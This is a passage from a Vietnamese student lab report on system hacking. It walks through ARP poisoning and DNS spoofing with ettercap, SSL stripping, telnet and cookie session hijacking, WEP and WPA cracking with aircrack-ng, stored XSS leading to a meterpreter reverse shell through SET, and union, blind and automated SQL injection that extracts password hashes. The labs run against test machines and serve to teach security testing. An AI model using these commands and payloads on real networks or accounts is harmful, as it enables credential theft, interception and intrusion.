    Đề Tài :SysTem Hacking 38 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Bước 4: Kiểm tra nội dung trang web http:/localhost/index.html o Bước 5: Tấn công bằng công cụ ettercap và dns_spoof plugin. Ta thêmmột số dòng vào trong file /usr/share/ettercap/etter.dns để thay đổi thông số dns của client *.athena.edu.vn A 192.168.1.3 www.athena.edu.vn A 192.168.1.3 tailieu.athena.edu.vn A 192.168.1.3 *.athena.edu.vn PTR 192.168.1.3 www.athena.edu.vn PTR 192.168.1.3 tailieu.athena.edu.vn PTR 192.168.1.3  Tại máy client thử login vào trang www.athena.edu.vn trước khi ta thực hiện tấn công ta thấy trang web trả ra bình thường. Sau đó ta nên sử dụng ipconfig /flushdns để xóa thông tin dns. o Bước 6: Tại máy attacker ta thực hiện tấn công bằng câu lệnh “Ettercap -T -q –M arp:remote –P dns_spoof –i eth0 /192.168.1.11/ // “Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân o Bước 7: Tại máy client ta browser vào lại trang web www.athena.edu.vn thì vào trang web giả do attack dựng lên 6.3 Ettercap Sniffer Password Sử dụng công cụ Ettercap thực hiện ARP Poisoning, fake certificate để sniffer password. Sử dụng các plugin để theo dõi victim đang duyệt web ở trang nào. Sơ đồ :
  • 46.
    Đề Tài :SysTem Hacking 39 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Các bƣớc thực hiện : o Bước 1: cấu hình ettercap ở file “ etter.conf “. Ta xác định vị trí file etter.conf như sau Sử dụng vi hoặc gedit để mở file etter.conf. Thay đổi giá trị ở dòng 17 và 18 Thay đổi giá trị ở dòng 145 Thay đổi giá trị ở dòng 170 và 171 o Bước 2: Thực hiện ARP Poisoning attack. Máy Victim là Window XP đang có IP 192.168.1.6 . Ta nhập vào câu lệnh “ettercap -T -q –M arp:remote –P remote_browser –i eth0 /192.168.1.6/ // ” o Bước 3: máy Victim thực hiện duyệt web. Ví dụ victim sử dụng Gmail và xuất hiện cảnh báo lỗi về certificate. Tại máy attacker xuất hiện các dòng log cho thấy victim đang kết nối vào mail.google.com .Khi Victim cố gắng tiếp tục đăng nhập thì sẽ bị mất username và password
  • 47.
    Đề Tài :SysTem Hacking 40 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 6.4 SSL Strip SSL Strip là công cụ tương tác ở quá trình chuyển từ http sang https của các ứng dụng web. SSL Strip là một trong các công cụ hữu hiệu để capture được username và password login của các ứng dụng web. Công cụ SSL Strip đã được install mặc định trong hệ điều hành Backtrack 5. Đầu tiên ta xác định vị trí file thực thi và cách thức sử dụng giao diện dòng lệnh của Backtrack 5 Sơ đồ: Victim login vào các web application và bị sniffer password Các bƣớc thực hiện : o #locate sslstrip =>câu lệnh xác định các file liên quan đến chương trình ssl strip. Ta sẽ xác định được đường dẫn thực thi là /pentest/web/sslstrip o #cd /pentest/web/sslstrip/ o #ls -l -rw-r--r-- 1 root root 4066 2011-05-06 12:22 sslstrip.py o #python ./sslstrip.py -h =>câu lệnh ở trên để ta xem cách thức sử dụng o #python ./sslstrip.py -a =>khởi động chương trình sslstrip và ghi log các kết nối thông qua biến -a =>mặc định chương trình sslstrip sẽ hoạt động ở port 10000 o #netstat -ltn =>xác định các port TCP đang listen trong máy. Ta kiếm vị trí port 10000 Các cấu hình chuẩn bị tại máy Backtrack 5 ( attacker )
  • 48.
    Đề Tài :SysTem Hacking 41 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o #echo 1 > /proc/sys/net/ipv4/ip_forward =>kích hoạt khả năng định tuyến của PC o #iptables -t nat -A PREROUTING -p TCP --destination-port 80 -j REDIRECT --toport 10000 =>cấu hình firewall nhận traffic ở port 80 thì sẽ redirect traffic vào port 10000. Port 10000 thì tương ứng với chương trình ssl strip Start sslstrip listen ở port 10000 và ghi log tất cả các kết nối #cd /pentest/web/ssltrip #python ./sslstrip.py –a Mở một cửa sổ terminal khác thực hiện arp poisoning attacker để redirect tất cả các traffic ở máy attacker #ettercap -T -q -M arp:remote -i eth0 /192.168.1.X/ // Tại máy victim thực hiện đăng nhập vào các ứng dụng web. Sau đó attacker tìm kiếm các thông tin trong file sslstrip.log. Có thể sử dụng các từ khóa như Email= , Passwd= … để tìm kiếm các thông tin nhạy cảm #cd /pentest/web/sslstrip #cat sslstrip.log > /root/Desktop/password.txt
  • 49.
    Đề Tài :SysTem Hacking 42 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 7 : Session Hijacking 7.1 Hunt Session Hijacking User sử dụng phương thức telnet điều khiển router Cisco. Attacker sử dụng công cụ Hunt để cướp session telnet. Sơ đồ: Các bƣớc thực hiện : o Bước 1: Cấu hình telnet tại router cisco, victim thực hiện telnet vào thiết bị R1(config)#interface fa 0/0 R1(config-if)#ip address 192.168.100.254 255.255.255.0 R1(config-if)#no shutdown R1(config-if)#exit R1(config)#username cisco privilege level 15 secret cisco R1(config)#line vty 0 4 R1(config-line)#login local R1(config-line)#exit o Bước 2: thực hiện cài đặt chương trình hunt o Bước 3: ở máy victim thực hiện kết nối telnet đến router. o Bước 4: sử dụng chương trình hunt, nhập vào “ u ”, nhập vào IP bắt đầu và IP kết thúc để kiểm tra các IP trong mạng o Bước 5: Nhập vào “ l ” để kiểm tra các kết nối. Sau đó chọn số kết nối để thực hiện hijacking ( ở trên màn hình ta đang có kết nối thứ 0 ) Victim nhập vào các thông số trong quá trình cấu hình thì attacker cũng thấy được các thông số đó
  • 50.
    Đề Tài :SysTem Hacking 43 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 7.2 Cookie Hijacking Yahoo Mail Victim sử dụng Yahoo mail, attacker ăn cắp được cookie và sử dụng cookie vào trình duyệt web thì attacker có được phiên đăng nhập của yahoo mail Sơ đồ : Các bƣớc thực hiện : Bước 1: Victim, IP 192.168.1.6, đăng nhập vào mail yahoo Bước 2: Attacker thực hiện các dạng tấn công và thu thập được cookie
  • 51.
    Đề Tài :SysTem Hacking 44 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Bước 3: Attacker thực hiện apply Cookie Y và T vào trình duyệt web Bước 4: Attacker vào trình duyệt web nhập vào URL “ mail.yahoo.com “ thì sẽ login vào được mail của victim
  • 52.
    Đề Tài :SysTem Hacking 45 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 7.3 Cookie Hijacking Hotmail Victim sử dụng Hotmail mail, attacker ăn cắp được cookie và sử dụng cookie vào trình duyệt web thì attacker có được phiên đăng nhập của yahoo mail Sơ đồ : Các bƣớc thực hiện: Bước 1: Victim IP 192.168.5.105 đăng nhập vào trang mail.live.com Bước 2: Attacker thực hiện sniffer và sử dụng wireshark capture được cookie của hotmail.
  • 53.
    Đề Tài :SysTem Hacking 46 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Bước 3: Attacker thực hiện apply cookie RPSTAuth vào trình duyệt web
  • 54.
    Đề Tài :SysTem Hacking 47 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 8 : Wireless 8.1 Crack WEP Key Ta kiểm tra tính bảo mật của wireless access point cấu hình theo chuẩn WEP. Sơ đồ : Các bƣớc thực hiện : o Phần cứng: hai card wireless broadcom chipset bcm43xx và card linksys usb wireless card chipset rt73 . o Hệ điều hành Backtrack 3 live usb hoặc 1 hệ điều hành Linux đã được install chương trình aircrack-ng 8.1.1 Bƣớc chuẩn bị o Cắm wireless usb vào laptop .Boot vào Back Track 3 từ USB o Kiểm tra xem hệ điều hành đã nhận được card wirelss. Ta dùng lệnh lspci và lsusb để kiểm tra  Kiểm tra xem hệ điều hành nhận ra card wireless của mình bằng tên gì. Cách làm như sau, ta dùng lệnh ifconfig hoặc iwconfig để xem hệ điều hành nhận diện card mạng của mình như thế nào. Đối với card broadcom thì nó được nhận là eth0hoặc eth1. Đối với usb wireless thì nó sẽ nhận là rausb0. o Cấu hình để cho card wireless của mình có thể capture và inject. Mình sẽ dùng card broadcom để inject và card linksys để capture.  Đối với card linksys usb ta cần phải làm một số bước sau để nó có thể load được driver của nó lên ifconfig rausb0 down modprobe -r rt73 modprobe rt73
  • 55.
    Đề Tài :SysTem Hacking 48 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 8.1.2Ta dùng card usb để capture Ta thực hiện quá trình capture như sau airmon-ng stop rausb0 airmon-ng start rausb0 airodump-ng rausb0 Lúc này ta đã có được MAC address của Access Point (AP), channel mà nó hoạt động, dạng encryption mà nó đang sử dụngairodumg-ng -c [channel] -bssid [Mac_ap] -w [outputfile] rausb0 Câu lệnh trên nhằm cấu hình card usb capture thông tin trên đúng Access point mà ta muốn test nó. Ok ta cứ để cho nó capture. Ta mở lệnh một cửa số konsole khác để tiếp tục quá trình. 8.1.3 Dùng card broadcom để inject Đối với card broadcom thì ta cần kiểm tra xem nó đã inject được hay chưa. Giả sử như AP đang hoạt động ở channel 3, SSID của nó là P.101
  • 56.
    Đề Tài :SysTem Hacking 49 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng iwconfig eth0 ifconfig eth0 up iwconfig eth0 mode monitor channel 6 aireplay-ng -9 -e XXX -a [Mac_ap] eth0 Injection working! Ta kiểm tra xem card wireless của mình đã inject được hay chưa. Nếu nó báo là Injection working thì ta đã làm đúng rồi. Lúc này ta bắt đầu quá trình association với AP bằng cách sử dụng kiểu attack là fake authentication aireplay-ng -1 0 -e P.101 -a [Mac_ap] -h [Mac_broadcom_card] eth0 Thực hiện quá trình inject ở dạng gói tin ARP request replay mode aireplay -3 -x 300 -b [Mac-ap] -h [Mac_broadcom_card] eth0 Ta cứ đợi cho đến khi nào ta capture đủ số lượng packet cần thiết.Khoảng 40000 đến 80000 packet. Lúc này ta thử crack xem ta có key hay chưa bằng lệnh aircrack-ng -z -b [AP_mac] [out_put_file_name].cap Ta đã tìm thấy được wep key là 1234567890abc.Kết luận: Cấu hình Access Point mã hóa bằng WEP key là một cấu hình không bảo mật. Một attacker có thể dễ dàng crack được nó trong khoảng thời gian khoảng 10 phút. 8.2 SỬ DỤNG AIRCRACK-NG CRACK WPA KEY Ta kiểm tra tính bảo mật của wireless access point cấu hình theo chuẩn WPA. Mô hình :
  • 57.
    Đề Tài :SysTem Hacking 50 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Các bƣớc thực hiện: Cấu hình chuyển card wireless sang monitor mode. Tùy theo mỗi loại card mà ta sẽ cấu hình khác nhau. Ta sử dụng card Intell 2200 chuẩn bg Tiếp tục ta dùng công cụ airodump-ng được tích hợp sẵn để thu thập thông tin bằng lệnh airodump-ng eth1. Ta thu được một số thông tin sau Ta sẽ thử crack Access Point có SSID là linksys_cisco, có Mac address là 00:1E:2A:E1:0F:C6, hoạt động ở channel 6. Tiếp tục ta cấu hình câu lệnh airodump-ng để capture thông tin bằng lệnh airodump-ng –c 6 –b [Mac_AP] –w /home/user/Desktop/wpa eth1
  • 58.
    Đề Tài :SysTem Hacking 51 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Để có được 4 way handshake của Access Point thì cấu hình công cụ aircrack gửi ra các gói tin Deauthentication để yêu cầu client gửi lại thông tin xác thực và attacker thực hiện quá trình capture 4 way handshake khi client gửi đến Access Point. Câu lệnh aireplay-ng -0 10 –a [MAC_AP] -c [Mac_Victim] eth1 Cuối cùng ta thử crack bằng từ điển. Nếu như ta cấu hình một password tốt thì việc crack này không dễ thực hiện thành công. Câu lệnh thực hiện aircrack-ng /home/user/Deskop/wpa-01.cap –w /root/dictionary.lst
  • 59.
    Đề Tài :SysTem Hacking 52 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Ta chọn SSID mà ta muốn crack. Ở đây ta chọn là số 1 là linksys_cisco. Chương trình bắt đầu chạy test các password, nếu như trong dictionary không có password đúng thì quá trình này sẽ không thành công. 8.3 WPA Enterprise Nếu như ta yêu cầu bảo mật cho mạng wireless ở mức độ cao thì giải pháp dùng phương pháp mã hóa WPA Enterprise hoặc WPA2 Enterprise là một giải pháp. Sau khi thực hiện quá trình đăng nhập một cách bảo mật thông qua username và password thì mỗi một user sẽ có một key của riêng mình. Và ta loại bỏ trường hợp phải dùng chung một pre-shared key. Để triển khai WPA Enterprise ta có ba giải pháp như sau: Mua một Access Point có tích hợp RADIUS Server bên trong đó. Sử dụng những dịch vụ được host bởi hãng thứ ba. Lúc này ta phải đăng kí dịch vụ, cấu hình Acccess Point, cấu hình máy tính. RADIUS Server được cấu hình được host bởi hãng thứ ba. Ta nhận được giao diện Web để cấu hình thêm bớt user hoặc Access Point. Ta cấu hình RADIUS Server cho riêng mình. Để làm được như vậy ta cần một RADIUS/802.1X software server. Và nó có hỗ trợ các protocols như Extensible Authentication Protocol… Server này sẽđiều khiển quá trình chứng thực của các user đang có nhu cầu connect vào mạng wireless. Trong server có cơ sở dữ liệu là username và password của các người dùng. Khi cấu hình Access Point xác định địa chỉ của RADIUS Server. Khi một ai đó kết nối đến Access Point họ phải nhập username và password và được kiểm tra tại server. Thêm vào đó, các máy tính client phải có certificate đã được cài đặt vào và được kiểm tra trong danh sách các certificate trong server.Ta sẽ thực hiện bài Lab cấu hình 802.1X RADIUS Server theo mô hình như sau:
  • 60.
    Đề Tài :SysTem Hacking 53 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Các bƣớc thực hiện : o Cài đặt phần mềm 802.1X Radius Server. Ta có thể dùng phần mềm của hãng thứ ba ví dụ như Elektron, Evolynx, ClearBox hoặc ta cũng có thểdùng phần mềm trên nền tảng open source FreeRadius Server. Ở đây ta sẽ làm bài lab dùng phần mềm Elektron. o Cài đặt phần mềm lên thông qua một số bước sau:  Cài đặt digital certificate: Nếu như ta không có mua Certificate Authority ta có thể dùng wizard của phần mềm để tạo ra selfsigned certificate. Sau đó add certificate này vào Radius Server. Quá trình add certificate này không có được làm tựđộng. Bước kế tiếp ta export certificate này thành một file. Sau đó cài đặt file này vào các máy client có nhu cầu connect vào wireless network.  Xác định Access Point thành RADIUS client. Trong quá trình cấu hình trên Access Point xác định địa chỉ của Radius Server và Shared Secret key.  Trên Radius server thiết lập authentication domain để Radius xác định xem nó sẽ dùng cơ sở dữ liệu. Trong một wireless network nhỏ thì ta có thể dùng default domain đã được tạo trong software.  Thêm vào user vào database. o Cấu hình Wireless Router Access Point dùng phương pháp mã hóa là WPA Enterprise. Tiếp tục xác định địa chỉ IP của Radius Server và Shared Secret key. o Cuối cùng là cấu hình tại các máy client. Nếu như ta dùng self-signed certificate thì ta phải install các certificate này trên các máy client. Tiếp tục cấu hình wireless card dùng phương pháp mã hóa là WPA Enterprise tương ứng với Access Point. 8.3.1 Cài đặt và cấu hình Elektron 802.1X RADIUS Server Đầu tiên ta thực hiện quá trình gán IP trên Server theo sơ đồ như bên trên. Radius Server có IP là 192.168.100.1/24 và Access Point có IP là 192.168.100.254/24 và nó cũng là Default Gateway. Sau đó kiểm tra kết nối từ Radius Server đến Access Point
  • 61.
    Đề Tài :SysTem Hacking 54 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Ta thực hiện quá trình cài đặt chương trình.Ta click Next o Ta đặt username, mặc định chương trình chọn computer name làm username. o Do ta đang sử dụng bảng Trial nên ở đây ta tiếp tục click Next. o Ta gán một password để bảo vệ quá trình trao đổi dữ liệu giữa wireless Access Point và Elektron o Ở đây ta không có dùng CA của bên thứ ba, tuy nhiên chương trình hỗ trợ việc tạo ra certificate. Ta chọn vào mục “ Create a new certificate hierarchy” o Tiếp tục ta gán một FQDN cho server. Ở đây ta gán là server.athena.com và gán các thông số cho certificate authority. o Đến đây ta đã thực hiện xong quá trình cài đặt. Tiếp tục ta sẽ chuyển sang phần cấu hình trên server. Giao diện màn hình điều khiển o Ở đây ta có thể kiểm tra xem các protocol thuộc giao thức PEAP mà nó hỗ trợ o Ta vào mục Server Certificate, để export certificate. Ví dụ bên dưới ta chọn xuất ra ở dạng là Der File và save ở Desktop. o Ta tạo ra một Authentication Domain. Để dễ dàng ta chọn Authenticate o Using bằng Elektron Accounts. Nghĩa là dùng username password được tạo ra bằng software để chứng thực. o Ta tạo ra một user account như hình bên dưới. o Trên Server, ta thực hiện quá trình import certificate vào server trong mục “Trust Certification”. o Ta import certificate vào vị trí là Trusted Root Certificate Authority. o Click Yes để hoàn thành quá trình Import Certificate vào 801.X Radius Server. o Tiếp tục ta xác định các RADIUS Client và Shared Key tương ứng cho từng Access Point.  Ta tạo ra client có IP là 192.168.100.254  Shared Key là 123abc!!! 8.3.2 Cấu hình Wireless Access Point dùng WPA Enterprise Ta cấu hình Access Point dùng Security Mode là WPA Enterprise, thuật toán WPA ta chọn AES. Ta để port mặc định kết nối đến Radius Server là 1812. Cấu hình trên máy Client: o Trên các PC Client muốn kết nối đến Wireless Access Point, đầu tiên ta phải thực hiện quá trình import certificate vào trong máy tính.
  • 62.
    Đề Tài :SysTem Hacking 55 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Certificate được manual chép đến máy client. o Click Yes để hoàn thành quá trình Import certificate. Ta thực hiện quá trình kết nối đến Wireless Access Point. 802.1X Radius Server sẽ trả vềcho client màn hình yêu cầu đăng nhập username và password như bên dưới. o Ta nhập vào username và password tương ứng mà ta đã tạo trên trên server.Window 7 đưa ra một màn hình cảnh báo. Và chọn Connect để hoàn thành quá trình kết nối o Đến đây ta đã hoàn thành và ta đã kết nối đến Wireless Access Point có ESSID là linksys như hình bên dưới.
  • 63.
    Đề Tài :SysTem Hacking 56 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 9 : Web Application Attack 9.1 XSS Stored Máy ảo Ubuntu cài đặt trang Web DVWA, đang bị lỗi XSS Store Máy XP cài đặt JRE phiên bản jre-6u13-windows-i586 Máy Backtrack 5, sử dụng Metasploit và SET Sơ đồ như sau: Kiểm tra lỗi XSS trên trang Web o Máy Ubuntu đang sử dụng IP 192.168.1.100, ta sử dụng Firefox kết nối vào.Sử dụng username: admin và password: passwordđể login. Cấu hình DVWA Security mức độ Low o Tiếp tục ta kiểm tra lỗi XSS trên trang Web, nhập vào <script>alert("XSS")</script> trên trình duyệt và trình duyệt web sẽ thực thi scripts. o Ta có thể sử dụng 1 script khác để steal cookie dạng đơn giản như sau <script>document.write(document.cookie)</script> o Trong phần kế tiếp ta sẽ sử dụng script mở một trang web mới <script>window.location = http://IP_Backtrack5</script>. Tuy nhiên ta sẽ không nhập vào được do thẻ textarea qui định chiều dài là 50 ký tự. Để giải quyết việc này ta sử dụng Add on Firebug và chỉnh sửa lại giá trị maxlength o Khi script thực thi thì trình duyệt web sẽ được redirect đến 1 trang web khác. Tại máy Backtrack 5 sử dụng công cụ SET o SET ( Social Engineering Toolkit ) là công cụ giúp ta thực hiện các dạng tấn công phishing. Ta khởi động chương trình o Ta chọn số 2 để thực hiện dạng tấn công “Website Attack Vectors” o Tiếp tục ta chọn số 1 để thực hiện Java Applet Attack Method
  • 64.
    Đề Tài :SysTem Hacking 57 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Ta chọn số 1 để sử dụng Template có sẵn trong chương trình và phần cấu hình NAT port forwarding ta để “no” o Nhập vào IP của máy Backtrack 5: 192.168.1.200 o Chọn sử dụng Web Template. Ở đây ta có thể chọn số 1 “Java required” o Chọn payload số 2 là window meterpreter reverse_tcp o Chọn dạng msfencode số 2 và cấu hình port listen là 8989 o Lúc này chương trình SET sẽ gọi chương trình metasploit Máy Victim XP kết nối o Victim duyệt web đến trang bị lỗi XSS Stored, sẽ bị thực thi script trên trình duyệt web và mở đến trang web giả dạng trên máy backtrack 5 của attacker o Victim click RUN sẽ thực thi backdoor. Ta qua máy Backtrack 5 để kiểm tra kết nối. 9.2 SQL Injection Ta thử nhập vào số 1 trong form submit, lúc này đường link sẽ là “http://192.168.1.5/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” . Ta chú ý số “ ?id=1 “ , tiếp tục ta có thể truy vấn với số id là số 2 , 3 ,4 thì trang web trả ra cho ta một kết quả đúng. Tiếp tục ta thử truy vấn với một số id là một số không có, ví dụ ta nhập vào số1’ thì tại trình duyệt web ta nhận được 1 thông số lỗi của MySQL. Như vậy tại đường link này ta có thể khai thác lỗi SQL Injection Tiếp tục ta xác định số column trong database bằng cách truy vấn các câu lệnh sử dụng câu lệnh “ order by ”. Ví dụ ta nhập vào “ 1 order by – “ trang web hiển thị bình thường Tiếp tục ta thử “ 1 order by 2 -- ” thì trang web cũng trả về kết quả bình thường Tiếp tục ta thử “ 1 order by 3 -- ” thì website trả về một kết quả bị lỗi. Theo như hình báo lỗi bên dưới nghĩa là database có số lượng 2 column Tiếp tục ta kiểm tra phương thức union có thể hoạt động được hay không bằng câu lệnh query “1 union all select 1,2 --”. Ở kết quả hiển thị bên dưới thì ta có thể tiếp tục query ở số 1 và số 2. Xác định version của mysql server bằng câu lệnh “ 1 union all select 1,@@version -- “ Ta xác định được version của database là 5.1.49-1ubuntu8.1
  • 65.
    Đề Tài :SysTem Hacking 58 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Xác định username của database và tên của database đang hoạt động. Sửdụng câu lệnh “ 1 union all select user(),database() -- “ . Ta xác định được tên database có tên là dvwa, username database là root@localhost Xác định các table có trong database bằng câu lệnh “ 1 union all select table_name,2 from information_schema.tables -- ” Ta xác định được 2 table là user và guestbook Xác định các column có trong table “ users “ . Đầu tiên ta chuyển mã hexa cho từ users tương ứng là 7573657273. Ta thực hiện truy vấn sql “ 1 union all select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 -- ” Cuối cùng ta sẽ query các username và hash password trong database “ 1union all select concat_ws(0x7c,user,password),2 from dvwa.users --“ 9.3 Blind SQL Injection o Bước 1: kiểm tra lỗi blind sql injection. Các web site bị lỗi này thì trong quá trình ta thử các câu truy vấn sql sai thì sẽ các báo lỗi sẽ không xuất hiện trên màn hình. Ta thử nhập vào giá trị ID bằng 1 thì web site trả ra cho ta giá trị của admin  Ta thử nhập vào “ 1 and 1=1 ”, đây là 1 câu query đúng thì web site vẫn trả ra cho ta giá trị của username admin. Hoặc ta có thể sử dụng câu truy vấn “1 /**/and/**/1=1 ”  Ta thử 1 câu query sai, ví dụ như “ 1 and 1=2” thì khi nhập vào web site không trảra cho ta bất kz giá trị nào hoặc ta có thể sử dụng “ 1/**/and/**/1=2 ”  Như vậy trang web này có thể bị lỗi blind sql injection o Bước 2 kiểm tra version của Mysql server. Ta kiểm tra version của mysql server bằng câu lệnh truy vấn “1 and substring(@@version,1,1)=5 ” thìwebsite trả về cho ta một kết quả đúng.  Tiếp tục ta query “1 and substring(@@version,1,1)=4 ” thì website trả về cho ta một kết quả sai và không hiện ra thông tin trên màn hình Như vậy mysql đang sử dụng version 5 o Bước 3: Tiếp tục ta sẽ đoán xem các table name sẽ có thể. Giả sử ta thử chọn 1 số tên table dễ đoán để query ví dụ như admin, users, … Câu truy vấn sẽ là “1 and (select 1 from admin limit 0,1)=1 -- ”. Nhưng do table admin không có trong database nên website trả về cho ta trang web trống
  • 66.
    Đề Tài :SysTem Hacking 59 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng  Ta thử thay đổi giá trị users với câu query tương tự như trên “1 and (select 1 from admin limit 0,1)=1 --” thì trang web cho ta kết quả đúng  Như vậy trong database DVWA có table tên là users o Bước 4: ta sẽ đoán tên các column có trong tables users bằng một số từ như user_id,users,password, passwd … Câu lệnh sql ta sẽ query là “ 1 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 -- ”  Trong tables users có column là password  Ta thử query một số tên của một số column khác. Ví dụ như tên passwd với câu query là “1 and (select substring(concat(1,passwd),1,1) from users limit 0,1)=1 --” thì website trả về một trang web lúc bị lỗi  Ta query xem trong table users có cột users bằng câu query “1 and (select substring(concat(1,user),1,1) from users limit 0,1)=1 --” thì DVWA trả vềmột trang web đúngColumn user có trong table users o Bước 5: ta sẽ xác định từng ký tự trong 2 column user,password từ table users. Đây là một quá trình làm rất lâu. Ta query xem mã acscii của ký tự đầu tiên có lớn hơn số 80 hay không ? “1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))>80 --“trang web trả vềcho ta một kết quả query đúng. Như vậy k{ tự đầu tiên của column user có giá trị lớn hơn 80. Tiếp tục ta thử số100 với câu query là “1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))>100 --” thì trang web trả về cho ta một kết quả bị lỗi .  Ta thử giá trị 96 với câu query “1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))>96 --” thì trang DVWA vẫn trả ra kết quả đúng.  Ta thử giá trị 97 với câu query “ 1 and ascii(substring((selectconcat(user,0x3a,password) from users limit 0,1),1,1))>97 --” thì trang DWWA trả ra kết quả sai  Ta thử query với toán tử “ 1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))=97 --” thì ra một giá trịđúng.  Như vậy k{ tự đầu tiên có mã ascii là 97. Ta chuyển đổi ascii 97 thì tương ứng với chữ a. Tiếp tục ta sẽ tìm kiếm chữ thứ hai, ta sử dụng câu query “1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),2,1))>99 --” thì trang web trả về giá trị đúng.Ta thử query với giá trị lớn hơn 100 với câu query “1 and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),2,1))>100 --” thì DVWA trả về giá trị sai
  • 67.
    Đề Tài :SysTem Hacking 60 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng  Như vậy chữ thứ hai có giá trị trong mã ascii là 100. Ta thử query với toán tử bằng với giá trị 100. Trang web trả về cho ta giá trị đúng. Chữ thứ hai có giá trị ascii là 100 tương ứng với chữ d. o Bước 6: để query được hết toàn bộ thông tin login bằng blind sql injection thực sự sẽ mất rất nhiều thời gian với phương pháp manually. Ta có thể sửdụng các công cụ tấn công blind sql để giảm thời gian. 9.4 Automatic Blind SQL Injection o Bước 1: Trong phiên bản Wordpress 3.1.3 bị lỗi Blind SQL Injection. Giả sửAdmin đã tạo ra một user có quyền Athena Test. User này có quyền Editor o Bước 2: user này đăng nhập vào trang quản trị wordpress. Ở đường link dạng category “http://192.168.1.100/wordpress/wpadmin/edittags.php?taxonomy=link_cat egory&orderby=name&order=asc “ là vị trí có thể tấn công Blind SQL Injection o Bước 3: Kiểm tra vị trí bị lỗi Blind SQL Injection. Ta thay đổi giá trị  orderby=10 thì trang web vẫn hoạt động bình thường. Khi thử giá trị  orderby=11 thì trang web xuất hiện thêm dòng “ No item found “ o Bước 4: Sử dụng công cụ bsqlbf để thực hiện tấn công. Đầu tiên ta kiểm tra câu lệnh của công cụ. o Bước 5: do user “ Athena Test ” là một user đã được đăng nhập. Ta copy giá trịcookie của user này. o Bước 6: Xác định version của Mysql server bằng câu lệnh bên dưới. D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wpadmin/edittags.php?taxonomy=link_cat egory&orderby=10" -blind orderby -sql "select @@version" -match "Blogroll" -type 2 -database 1 –cookie "wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337 529257%7Ca1ed46cc2ed3e3209c48e79f59b62316" o Bước 7: Xác định database name của wordpress D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp- admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select database()"-match "Blogroll" -type 2 -database 1 --cookie "wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337 529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"
  • 68.
    Đề Tài :SysTem Hacking 61 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Bước 8: Xác định table name D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp- "select table_name from information_schema.columns where column_name like '%user_pass%' limit 1" -match "Blogroll" -type 2 -database 1 –cookie "wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337 529257%7Ca1ed46cc2ed3e3209c48e79f59b62316" Xác định column name trong wp_users D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp- admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select column_name from information_schema.columns where table_name like 'wp_users' limit 1 offset 1" -match "Blogroll" -type 2 - database 1 -- cookie"wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7 C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316” Xác định column password trong wp_user table D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp- admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select column_name from information_schema.columns where table_name like 'wp_users' and column_name like '%pass%'" -match "Blogroll" -type 2 -database 1 --cookie "wordpress_26033f 6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337529257%7Ca1ed46 cc2ed3e3209c48e79f59b62316" Extract username và password của user đầu tiên 